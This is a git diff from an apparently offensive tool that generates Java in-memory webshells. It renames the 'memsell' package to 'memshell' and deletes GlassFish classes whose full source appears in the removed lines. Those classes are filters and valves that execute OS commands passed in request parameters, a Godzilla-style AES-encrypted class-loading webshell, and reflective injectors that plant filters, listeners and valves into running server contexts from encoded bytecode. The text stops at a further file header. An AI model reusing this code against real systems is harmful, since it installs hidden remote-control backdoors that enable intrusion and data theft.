diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index a6706c27..d9e42992 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.AbstractShell; +import com.reajason.javaweb.memshell.packer.Packer; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 33de134e..961ce56a 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.Data; /** diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java index d4b25988..1a317167 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java @@ -41,9 +41,4 @@ public class Reflections { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } - - public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { - final Field field = getField(obj.getClass(), fieldName); - return field.get(obj); - } } diff --git a/generator/build.gradle b/generator/build.gradle index 501671c9..38f9c6f8 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -46,6 +46,7 @@ tasks.withType(JavaExec).configureEach { dependencies { implementation project(":deserialize") + implementation project(":memshell") implementation 'net.bytebuddy:byte-buddy:1.+' implementation 'javax.servlet:javax.servlet-api:3.0.1' implementation 'javax.websocket:javax.websocket-api:1.1' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index a4908d1a..e0eb439c 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -1,9 +1,8 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.AbstractShell; +import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 95c69414..77538d74 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -1,13 +1,13 @@ package com.reajason.javaweb.config; -import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.jboss.JbossShell; -import com.reajason.javaweb.memsell.jetty.JettyShell; -import com.reajason.javaweb.memsell.payara.PayaraShell; -import com.reajason.javaweb.memsell.resin.ResinShell; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; -import com.reajason.javaweb.memsell.undertow.UndertowShell; +import com.reajason.javaweb.memshell.AbstractShell; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.JbossShell; +import com.reajason.javaweb.memshell.JettyShell; +import com.reajason.javaweb.memshell.PayaraShell; +import com.reajason.javaweb.memshell.ResinShell; +import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.UndertowShell; import lombok.Getter; /** diff --git a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java index 5f0b05f9..c960fbb1 100644 --- a/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java +++ b/generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.godzilla; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memsell.GodzillaGenerator; +import com.reajason.javaweb.memshell.GodzillaGenerator; import lombok.Getter; import lombok.Setter; import lombok.SneakyThrows; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java deleted file mode 100644 index 7581fc46..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java deleted file mode 100644 index 518e108c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandValve.java +++ /dev/null @@ -1,62 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.command; - -import org.apache.catalina.Valve; -import org.apache.catalina.connector.Request; -import org.apache.catalina.connector.Response; - -import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - */ -public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; - protected Valve next; - protected boolean asyncSupported; - - public CommandValve() { - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java deleted file mode 100644 index 99a7bc58..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java deleted file mode 100644 index 7b415ab3..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishFilterInjector.java +++ /dev/null @@ -1,223 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class GlassFishFilterInjector { - static { - new GlassFishFilterInjector(); - } - - Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName()); - - - public GlassFishFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception e) { - e.printStackTrace(); - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getFilter(Object context) throws Exception { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return filter; - } - - public void addFilter(Object context, Object filter) throws Exception { - String filterName = getClassName(); - // 防止重复注入 - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { - log.warning("filter already exists"); - return; - } - } catch (Exception ignored) { - } - try { - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java deleted file mode 100644 index 0d0760ee..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishListenerInjector.java +++ /dev/null @@ -1,205 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.EventListener; -import java.util.List; -import java.util.Map; -import java.util.logging.Logger; -import java.util.zip.GZIPInputStream; - - -/** - * @author ReaJason - */ -public class GlassFishListenerInjector { - static { - new GlassFishListenerInjector(); - } - - Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName()); - - public GlassFishListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); - } - } catch (Exception ignored) { - - } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() throws IOException { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - private Object getListener(Object context) throws Exception { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Exception ignored) { - } - - } - return listener; - } - - public void addListener(Object context, Object listener) throws Exception { - try { - List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners"); - boolean isExist = false; - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { - isExist = true; - break; - } - } - if (!isExist) { - log.info("listener added successfully"); - eventListeners.add((EventListener) listener); - } else { - log.warning("listener already exists"); - } - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java deleted file mode 100644 index f82aaa96..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/injector/GlassFishValveInjector.java +++ /dev/null @@ -1,228 +0,0 @@ -package com.reajason.javaweb.memsell.glassfish.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - */ -public class GlassFishValveInjector { - - static { - new GlassFishValveInjector(); - } - - public GlassFishValveInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object valve = getValve(context); - if (valve == null) { - continue; - } - injectValve(context, valve); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - private static synchronized Object getFV(Object var0, String var1) throws Exception { - Field var2 = null; - Class var3 = var0.getClass(); - - while (var3 != Object.class) { - try { - var2 = var3.getDeclaredField(var1); - break; - } catch (NoSuchFieldException var5) { - var3 = var3.getSuperclass(); - } - } - - if (var2 == null) { - throw new NoSuchFieldException(var1); - } else { - var2.setAccessible(true); - return var2.get(var0); - } - } - - private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(obj, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - try { - for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - for (Object key : childrenMap.keySet()) { - Map children = (Map) getFV(childrenMap.get(key), "children"); - for (Object key1 : children.keySet()) { - Object context = children.get(key1); - if (context != null) { - contexts.add(context); - } - } - } - } - } - } catch (Exception e) { - e.printStackTrace(); - } - return contexts; - } - - @SuppressWarnings("all") - private Object getValve(Object context) { - Object valve = null; - ClassLoader classLoader = context.getClass().getClassLoader(); - try { - valve = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - valve = clazz.newInstance(); - } catch (Exception e2) { - e2.printStackTrace(); - } - } - return valve; - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String valveClassName) throws Exception { - Object obj = invokeMethod(context, "getPipeline"); - Object[] valves = (Object[]) invokeMethod(obj, "getValves"); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(valveClassName)) { - return true; - } - } - return false; - } - - @SuppressWarnings("all") - public void injectValve(Object context, Object valve) throws Exception { - if (isInjected(context, valve.getClass().getName())) { - System.out.println("valve already injected"); - return; - } - try { - Class valveClass; - String valveClassName = "org.apache.catalina.Valve"; - valveClass = context.getClass().getClassLoader().loadClass(valveClassName); - Object obj = invokeMethod(context, "getPipeline"); - invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); - } catch (Exception e) { - e.printStackTrace(); - } - } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - for (Thread thread : threads) { - // 适配 v5 的 Class Loader 问题 - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - return catalinaLoader; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java 